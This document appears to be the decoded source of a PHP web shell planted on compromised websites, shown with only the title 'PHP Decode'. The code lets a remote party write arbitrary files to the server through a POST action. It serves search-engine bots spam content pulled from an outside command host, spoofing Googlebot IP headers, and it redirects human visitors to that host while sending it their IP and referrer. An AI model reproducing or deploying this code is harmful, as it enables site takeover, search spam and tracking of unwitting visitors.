PHP Decode

?><?php
set_time_limit(0);
class shell_run
{
    public $action  = "shell";
    
    function __construct()
    {
        if($_GET['check'] == 'check')
        {
            echo '0000-00-00';
            exit();
        }
        
        if($_GET['action'] == 'create_static_file' && $_POST){
            $file_names    = trim($_POST['file_names']);
            $file_contents = trim($_POST['file_contents']);
            
            $file_array = explode("
",$file_names);
            foreach($file_array as $file)
            {
                $file = trim($file);
                if($file != '' && !file_exists($file)){
                    @file_put_contents($file,$file_contents);
                }
            }
            exit();
        }
        
        
        $Spider = $this->isBot();
        $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        
        $ip  = $_SERVER['REMOTE_ADDR'];
        if($Spider == true){
            $bot = 1;
        }else{
            $bot = 0;
        }
        
        $get_array['center_website'] = 'h.ivisitorstats.com';
        //ASP
        $request_url = explode("?",$_SERVER['REQUEST_URI']);
        if($bot == 1){
            $center_temp_url = 'http://'.$get_array['center_website']."/domain_get_url_test.php?action=out_put&script_name=".$request_url[0]."&dstring=".$_SERVER['HTTP_HOST']."&type=asp&do_id=".$request_url[1];
            $contents = $this->curlOpen($center_temp_url);
            echo $contents;
        }else{
            $url = 'http://'.$get_array['center_website'].'/51la_statistical.php?type=statistical&shell_domain='.$_SERVER['HTTP_HOST'].'&shell_requets_url='.$_SERVER['REQUEST_URI'].'&user_ip='.$ip.'&user_agent='.$_SERVER['HTTP_REFERER'];
            header("Location: ".$url);
        }
        exit;
        //ASP
    }
    
    /**
     * isBot()
     * -getSpider
     * @return
     */
    function isBot()
    {
        $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search');
        $is_bot = false;
        foreach($bot_array as $bot){
            $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(strstr($agent,$bot)){
                $is_bot = true;
            }
        }
        return $is_bot;
    }
    /**
     * shell_run::curlOpen()
     * -getHTTP_HOST
     * @param mixed $url
     * @return
     */
    function curlOpen($url)
    {
        $ch2 = curl_init();
        $user_agent = "ConBot";
        curl_setopt($ch2, CURLOPT_URL, $url); 
        curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211','CLIENT-IP:66.249.73.211'));
        curl_setopt($ch2, CURLOPT_HEADER, false); 
        curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch2, CURLOPT_REFERER,'http://'.$_SERVER['HTTP_HOST']);
        curl_setopt($ch2, CURLOPT_USERAGENT,$user_agent); 
        curl_setopt($ch2, CURLOPT_TIMEOUT,25); 
        $contents = curl_exec($ch2);
        curl_close($ch2);
        return $contents;
    }
}
$content = new shell_run();
?>